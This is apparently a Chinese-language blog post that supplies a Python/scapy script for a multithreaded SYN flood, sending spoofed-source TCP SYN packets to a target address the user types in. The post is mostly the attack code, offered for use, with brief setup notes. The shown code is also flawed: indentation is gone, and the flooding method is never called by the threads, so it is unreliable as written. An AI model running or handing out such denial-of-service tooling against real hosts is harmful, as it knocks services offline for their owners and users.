Python的threading库是自带的,所以不需要下载,scapy安装详见我的文章Python实施SYN泛洪攻击。以下是代码:
#coding: utf8
print("Welcome to use SYN Flood Attack Project.\n\
Author:Leopold Fu, Qinchuan Union of China.\n")
print("Initializing...\n")
from scapy.all import *
from threading import Thread,Lock,activeCount
src = "10.1.1.2"
class Loop(Thread):
def __init__(self,tgt):
Thread.__init__(self)
self.tgt = tgt
def synFlood(self):
global src
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=self.tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
class Main(Thread):
def __init__(self, tgt, thread):
Thread.__init__(self)
self.tgt = tgt
self.thread = thread
def run(self):
limit = 100
total = 0
while True:
if activeCount() < limit:
Loop(self.tgt).start()
total = total + 1
print('Thread: %s ,Send attack package %s times...' % (str(self.thread),(str(total))) + "\n")
t = int(input("You're Python3.\nInput your Thread:"))
try:
ip = raw_input("Your target:")
except:
ip = input("Your target:")
i = 0
while True:
i = i+1
Main(tgt=ip,thread=i).start()
t = t-1
if t==0:
break
代码运行后会显示Initializing...表示初始化中,如果报错No Model Named "scapy",ModelNotFoundError之类的错误(不同版本报错不一样),就说明scapy没有安装,按照我以前的文章解决就行。